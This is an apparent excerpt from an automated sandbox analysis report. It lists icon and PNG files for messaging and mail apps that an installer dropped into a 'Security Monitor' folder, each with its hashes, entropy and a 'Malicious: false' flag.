SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.20340524330819
Encrypted:	false
SSDEEP:	12:F5e2nwbQh05puMPaz5NV9/COvwqsvuKMBwnwfqHtJZcaHqtMbHgGomu/HAmlMscR:aCupu0az5l5R4t7bHqkAN/H7WrefjU8W
MD5:	6974D5655CF050D09AEDEFB0A870B09C
SHA1:	2C87D6EFB277163490FFF31C594A5127E8D0B509
SHA-256:	A5761AE112ECB0B8CA16EDD77F9B112D983D7F8B0C229A8099E1A35B2E4F6993
SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
